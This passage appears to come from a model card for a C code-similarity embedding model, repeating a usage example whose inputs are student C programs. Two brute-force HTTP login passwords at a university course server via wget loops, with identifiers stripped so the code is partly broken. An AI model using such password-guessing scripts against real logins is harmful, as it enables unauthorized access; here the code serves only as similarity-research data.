caps[l];\n\t\t\t\t\t\tpass[j+1]=\'\\0\';\n\t\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\t\tif(found == 2)\n\t\t\t\t\t\t{\t\n\t\t\t\t\t\t\tend = time();\n\t\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\t\t\n\t\t\t\t\t\t\treturn 2;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t\t\n\t\t\t\n\t\t}\n\t}\n\t\n\treturn SUCCESS;\t\n}\n\n\nint findPassword(char *pass)\n{\n\tchar var[50]="";\t\n\tchar [50]="";\n\tstrcpy(var,"wget --non-verbose --http-user= --http-passwd=");\t\t\n\tstrcpy(," http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n\tstrcat(var,pass);\n\tstrcat(var,);\n\tif(system(var)==0)\n\t{\t\t\n\t\treturn 2;\n\t}\t\n\t\t\n\treturn SUCCESS;\n}\n\n\n\t \n',
'#include<stdio.h>\n#include<string.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<sys/time.h>\n\n()\n{\n\tint i,j,k,m,count=0,flage=0;\n\tFILE* log;\n\ttime_t ,finish;\n\tdouble ttime;\n\tchar s[30];\n\tchar arr[52]={\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\',\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'I\',\'J\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n\tchar add[100];\n\tstrcpy(add,"wget --http-user= --http-passwd= -nv -o log http://sec-crack.cs.rmit.edu./SEC/2/");\n\t=time(NULL);\t\n\tfor(i=0;i<52;i++)\t\n\t{\n\t\tfor(j=0;j<52;j++)\n\t\t{\n\t\t\tfor(k=0;k<52;k++)\n\t\t\t{\n\t\t\tprintf("%c %c %c\\n",arr[i],arr[j],arr[k]);\n\t\t\t\n\t\t\tadd[40]=arr[i];\n\t\t\tadd[41]=arr[j];\n\t\t\tadd[42]=arr[k];\n\t\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\t\t\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],arr[j],arr[k],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t\t}\n\t\t}\n\t}\n\tif(flage==0)\t\n\t{\n\t\tfor(i=0;i<52;i++)\n\t\t{\n\t\tadd[40]=arr[i];\n\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t}\n\t}\n\tif(flage==0)\t \n\t{\n\t\tfor(i=0;i<52;i++)\n\t\t{\n\t\t\tfor(j=0;j<52;j++)\n\t\t\t{\n\t\t\tadd[40]=arr[i];\n\t\t\tadd[41]=arr[j];\n\t\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],arr[j],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t\t}\n\t\t}\n\t}\n\t\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9511, 0.9570],
# [0.9511, 1.0000, 0.9799],
# [0.9570, 0.9799, 1.0000]])Usagepython
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-GraphCodeBERT-ST")
# Run inference
sentences = [
'#include<stdio.h>\n#include<stdlib.h>\n\nint ()\n{\n\nFILE *fin1;\nFILE *fin2;\nint flag=0;\n\n\nwhile(1)\n{\n \n system("wget -p http://www.cs.rmit.edu./students");\n\n system("cd www.cs.rmit.edu./");\n\n \n \n if(flag>0)\n {\n \n fin1=fopen("./watchtext/index.html","r");\n fin2=fopen("./watchtext/test2.txt","r");\n system("diff ./www.cs.rmit.edu./students/index.html ./watchtext/index.html | mail @cs.rmit.edu.");\n system("cp ./www.cs.rmit.edu./students/index.html ./watchtext/index.html ");\n system("md5sum ./www.cs.rmit.edu./images/*.* > ./www.cs.rmit.edu./test2.txt");\n system("diff ./www.cs.rmit.edu./test2.txt ./watchtext/test2.txt | mail @cs.rmit.edu.");\n system("cp ./www.cs.rmit.edu./test2.txt ./watchtext/test2.txt");\n system("rm ./www.cs.rmit.edu./test2.txt");\n \n fclose(fin2);\n fclose(fin1); \n } \n \n if(flag==0)\n {\n system("mkdir watchtext"); \n if((fin1=fopen("./watchtext/index.html","r"))==NULL)\n {\n system("cp ./www.cs.rmit.edu./students/index.html ./watchtext/index.html");\n system("md5sum ./www.cs.rmit.edu./images/*.* > ./watchtext/test2.txt");\n \n flag++;\n }\n \n } \n \n \n \n printf("Running every 24 hours"); \n sleep(86400); \n \n}\n system("rmdir ./watchtext"); \n} \n \n \n \n \n',
'#include<stdio.h>\n#include<stdlib.h>\n#include<string.h> \n#include <ctype.h>\n#include <sys/time.h>\n\n\n#define SUCCESS 0;\n#define FAILURE 1;\n#define SECONDS 1e9\n\nint findPassword(char *);\nint smallPass();\nint capsPass();\n\nint main()\n{\n\tint foundP;\t\n\tfoundP=smallPass();\n\tfoundP=capsPass();\n\tif(foundP == 2)\n\t{\t\t\n\t\treturn SUCCESS;\n\t}\n\tprintf("\\n PASSWORD NOT FOUND");\n\treturn SUCCESS;\n \n}\n\nint smallPass()\n{\n\tchar [26] ={\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\'};\t\n\tchar pass[3]="";\t\n\tint i,j,k,l;\n\tint incr;\n\tint found;\n\tint , end, final;\t\n\t\n\t = time();\n\tfor(j=0;j<3;j++)\n\t{\n\t\tincr=0;\t\t\n\t\tfor(i=0;i<=25;i++)\n\t\t{\t\t\t\t\n\t\t\tif(j==0)\n\t\t\t{\t\n\t\t\t\tincr++;\n\t\t\t\tpass[j]=[i];\n\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\tfound = findPassword(pass);\n\t\t\t\tif(found == 2)\n\t\t\t\t{\t\n\t\t\t\t\tend = time();\n\t\t\t\t\tfinal = end-;\n\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\n\t\t\t\t\treturn 2;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\tif(j==1)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-1]=[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tincr++;\n\t\t\t\t\tpass[j] = [k];\n\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\tif(found == 2)\n\t\t\t\t\t{\t\n\t\t\t\t\t\tend = time();\n\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\n\t\t\t\t\t\treturn 2;\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(j==2)\n\t\t\t{\t\t\t\t\t\t\n\t\t\t\tpass[j-2]=[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tpass[j-1] = [k];\n\t\t\t\t\tfor(l=0;l<=25;l++)\n\t\t\t\t\t{\n\t\t\t\t\t\tincr++;\n\t\t\t\t\t\tpass[j] = [l];\n\t\t\t\t\t\tpass[j+1]=\'\\0\';\n\t\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\t\tif(found == 2)\n\t\t\t\t\t\t{\t\n\t\t\t\t\t\t\tend = time();\n\t\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\t\t\t\t\t\n\t\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\t\t\n\t\t\t\t\t\t\treturn 2;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t\t\n\t\t\t\n\t\t}\n\t}\n\t\n\treturn SUCCESS;\t\n}\n\n\n\nint capsPass()\n{\n\tchar caps[26] ={\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'I\',\'J\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\t\n\tchar pass[3]="";\t\n\tint i,j,k,l;\n\tint incr;\n\tint found;\n\tint , end, final;\t\n\t\n\t = time();\n\tfor(j=2;j<3;j++)\n\t{\n\t\tincr=0;\n\t\tfor(i=0;i<=25;i++)\n\t\t{\n\t\t\t\t\n\t\t\tif(j==0)\n\t\t\t{\t\n\t\t\t\tincr++;\n\t\t\t\tpass[j]=caps[i];\n\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\tfound = findPassword(pass);\n\t\t\t\tif(found == 2)\n\t\t\t\t{\t\n\t\t\t\t\tend = time();\n\t\t\t\t\tfinal = end-;\n\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\n\t\t\t\t\treturn 2;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\tif(j==1)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-1]=caps[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tincr++;\n\t\t\t\t\tpass[j] = caps[k];\n\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\tif(found == 2)\n\t\t\t\t\t{\t\n\t\t\t\t\t\tend = time();\n\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\n\t\t\t\t\t\treturn 2;\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(j==2)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-2]=caps[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tpass[j-1] = caps[k];\n\t\t\t\t\tfor(l=0;l<=25;l++)\n\t\t\t\t\t{\n\t\t\t\t\t\tincr++;\n\t\t\t\t\t\tpass[j] = caps[l];\n\t\t\t\t\t\tpass[j+1]=\'\\0\';\n\t\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\t\tif(found == 2)\n\t\t\t\t\t\t{\t\n\t\t\t\t\t\t\tend = time();\n\t\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\t\t\n\t\t\t\t\t\t\treturn 2;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t\t\n\t\t\t\n\t\t}\n\t}\n\t\n\treturn SUCCESS;\t\n}\n\n\nint findPassword(char *pass)\n{\n\tchar var[50]="";\t\n\tchar [50]="";\n\tstrcpy(var,"wget --non-verbose --http-user= --http-passwd=");\t\t\n\tstrcpy(," http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n\tstrcat(var,pass);\n\tstrcat(var,);\n\tif(system(var)==0)\n\t{\t\t\n\t\treturn 2;\n\t}\t\n\t\t\n\treturn SUCCESS;\n}\n\n\n\t \n',
'#include<stdio.h>\n#include<string.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<sys/time.h>\n\n()\n{\n\tint i,j,k,m,count=0,flage=0;\n\tFILE* log;\n\ttime_t ,finish;\n\tdouble ttime;\n\tchar s[30];\n\tchar arr[52]={\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\',\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'I\',\'J\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n\tchar add[100];\n\tstrcpy(add,"wget --http-user= --http-passwd= -nv -o log http://sec-crack.cs.rmit.edu./SEC/2/");\n\t=time(NULL);\t\n\tfor(i=0;i<52;i++)\t\n\t{\n\t\tfor(j=0;j<52;j++)\n\t\t{\n\t\t\tfor(k=0;k<52;k++)\n\t\t\t{\n\t\t\tprintf("%c %c %c\\n",arr[i],arr[j],arr[k]);\n\t\t\t\n\t\t\tadd[40]=arr[i];\n\t\t\tadd[41]=arr[j];\n\t\t\tadd[42]=arr[k];\n\t\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\t\t\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],arr[j],arr[k],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t\t}\n\t\t}\n\t}\n\tif(flage==0)\t\n\t{\n\t\tfor(i=0;i<52;i++)\n\t\t{\n\t\tadd[40]=arr[i];\n\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t}\n\t}\n\tif(flage==0)\t \n\t{\n\t\tfor(i=0;i<52;i++)\n\t\t{\n\t\t\tfor(j=0;j<52;j++)\n\t\t\t{\n\t\t\tadd[40]=arr[i];\n\t\t\tadd[41]=arr[j];\n\t\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],arr[j],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t\t}\n\t\t}\n\t}\n\t\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9511, 0.9570],
# [0.9511, 1.0000, 0.9799],
# [0.9570, 0.9799, 1.0000]])Usagepython
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-GraphCodeBERT-ST")
# Run inference
sentences = [
'#include<stdio.h>\n#include<stdlib.h>\n\nint ()\n{\n\nFILE *fin1;\nFILE *fin2;\nint flag=0;\n\n\nwhile(1)\n{\n \n system("wget -p http://www.cs.rmit.edu./students");\n\n system("cd www.cs.rmit.edu./");\n\n \n \n if(flag>0)\n {\n \n fin1=fopen("./watchtext/index.html","r");\n fin2=fopen("./watchtext/test2.txt","r");\n system("diff ./www.cs.rmit.edu./students/index.html ./watchtext/index.html | mail @cs.rmit.edu.");\n system("cp ./www.cs.rmit.edu./students/index.html ./watchtext/index.html ");\n system("md5sum ./www.cs.rmit.edu./images/*.* > ./www.cs.rmit.edu./test2.txt");\n system("diff ./www.cs.rmit.edu./test2.txt ./watchtext/test2.txt | mail @cs.rmit.edu.");\n system("cp ./www.cs.rmit.edu./test2.txt ./watchtext/test2.txt");\n system("rm ./www.cs.rmit.edu./test2.txt");\n \n fclose(fin2);\n fclose(fin1); \n } \n \n if(flag==0)\n {\n system("mkdir watchtext"); \n if((fin1=fopen("./watchtext/index.html","r"))==NULL)\n {\n system("cp ./www.cs.rmit.edu./students/index.html ./watchtext/index.html");\n system("md5sum ./www.cs.rmit.edu./images/*.* > ./watchtext/test2.txt");\n \n flag++;\n }\n \n } \n \n \n \n printf("Running every 24 hours"); \n sleep(86400); \n \n}\n system("rmdir ./watchtext"); \n} \n \n \n \n \n',
'#include<stdio.h>\n#include<stdlib.h>\n#include<string.h> \n#include <ctype.h>\n#include <sys/time.h>\n\n\n#define SUCCESS 0;\n#define FAILURE 1;\n#define SECONDS 1e9\n\nint findPassword(char *);\nint smallPass();\nint capsPass();\n\nint main()\n{\n\tint foundP;\t\n\tfoundP=smallPass();\n\tfoundP=capsPass();\n\tif(foundP == 2)\n\t{\t\t\n\t\treturn SUCCESS;\n\t}\n\tprintf("\\n PASSWORD NOT FOUND");\n\treturn SUCCESS;\n \n}\n\nint smallPass()\n{\n\tchar [26] ={\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\'};\t\n\tchar pass[3]="";\t\n\tint i,j,k,l;\n\tint incr;\n\tint found;\n\tint , end, final;\t\n\t\n\t = time();\n\tfor(j=0;j<3;j++)\n\t{\n\t\tincr=0;\t\t\n\t\tfor(i=0;i<=25;i++)\n\t\t{\t\t\t\t\n\t\t\tif(j==0)\n\t\t\t{\t\n\t\t\t\tincr++;\n\t\t\t\tpass[j]=[i];\n\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\tfound = findPassword(pass);\n\t\t\t\tif(found == 2)\n\t\t\t\t{\t\n\t\t\t\t\tend = time();\n\t\t\t\t\tfinal = end-;\n\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\n\t\t\t\t\treturn 2;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\tif(j==1)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-1]=[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tincr++;\n\t\t\t\t\tpass[j] = [k];\n\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\tif(found == 2)\n\t\t\t\t\t{\t\n\t\t\t\t\t\tend = time();\n\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\n\t\t\t\t\t\treturn 2;\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(j==2)\n\t\t\t{\t\t\t\t\t\t\n\t\t\t\tpass[j-2]=[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tpass[j-1] = [k];\n\t\t\t\t\tfor(l=0;l<=25;l++)\n\t\t\t\t\t{\n\t\t\t\t\t\tincr++;\n\t\t\t\t\t\tpass[j] = [l];\n\t\t\t\t\t\tpass[j+1]=\'\\0\';\n\t\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\t\tif(found == 2)\n\t\t\t\t\t\t{\t\n\t\t\t\t\t\t\tend = time();\n\t\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\t\t\t\t\t\n\t\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\t\t\n\t\t\t\t\t\t\treturn 2;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t\t\n\t\t\t\n\t\t}\n\t}\n\t\n\treturn SUCCESS;\t\n}\n\n\n\nint capsPass()\n{\n\tchar caps[26] ={\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'I\',\'J\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\t\n\tchar pass[3]="";\t\n\tint i,j,k,l;\n\tint incr;\n\tint found;\n\tint , end, final;\t\n\t\n\t = time();\n\tfor(j=2;j<3;j++)\n\t{\n\t\tincr=0;\n\t\tfor(i=0;i<=25;i++)\n\t\t{\n\t\t\t\t\n\t\t\tif(j==0)\n\t\t\t{\t\n\t\t\t\tincr++;\n\t\t\t\tpass[j]=caps[i];\n\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\tfound = findPassword(pass);\n\t\t\t\tif(found == 2)\n\t\t\t\t{\t\n\t\t\t\t\tend = time();\n\t\t\t\t\tfinal = end-;\n\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\n\t\t\t\t\treturn 2;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\tif(j==1)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-1]=caps[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tincr++;\n\t\t\t\t\tpass[j] = caps[k];\n\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\tif(found == 2)\n\t\t\t\t\t{\t\n\t\t\t\t\t\tend = time();\n\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\n\t\t\t\t\t\treturn 2;\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(j==2)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-2]=caps[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tpass[j-1] = caps[k];\n\t\t\t\t\tfor(l=0;l<=25;l++)\n\t\t\t\t\t{\n\t\t\t\t\t\tincr++;\n\t\t\t\t\t\tpass[j] = caps[l];\n\t\t\t\t\t\tpass[j+1]=\'\\0\';\n\t\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\t\tif(found == 2)\n\t\t\t\t\t\t{\t\n\t\t\t\t\t\t\tend = time();\n\t\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\t\t\n\t\t\t\t\t\t\treturn 2;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t\t\n\t\t\t\n\t\t}\n\t}\n\t\n\treturn SUCCESS;\t\n}\n\n\nint findPassword(char *pass)\n{\n\tchar var[50]="";\t\n\tchar [50]="";\n\tstrcpy(var,"wget --non-verbose --http-user= --http-passwd=");\t\t\n\tstrcpy(," http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n\tstrcat(var,pass);\n\tstrcat(var,);\n\tif(system(var)==0)\n\t{\t\t\n\t\treturn 2;\n\t}\t\n\t\t\n\treturn SUCCESS;\n}\n\n\n\t \n',
'#include<stdio.h>\n#include<string.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<sys/time.h>\n\n()\n{\n\tint i,j,k,m,count=0,flage=0;\n\tFILE* log;\n\ttime_t ,finish;\n\tdouble ttime;\n\tchar s[30];\n\tchar arr[52]={\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\',\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'I\',\'J\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n\tchar add[100];\n\tstrcpy(add,"wget --http-user= --http-passwd= -nv -o log http://sec-crack.cs.rmit.edu./SEC/2/");\n\t=time(NULL);\t\n\tfor(i=0;i<52;i++)\t\n\t{\n\t\tfor(j=0;j<52;j++)\n\t\t{\n\t\t\tfor(k=0;k<52;k++)\n\t\t\t{\n\t\t\tprintf("%c %c %c\\n",arr[i],arr[j],arr[k]);\n\t\t\t\n\t\t\tadd[40]=arr[i];\n\t\t\tadd[41]=arr[j];\n\t\t\tadd[42]=arr[k];\n\t\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\t\t\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts 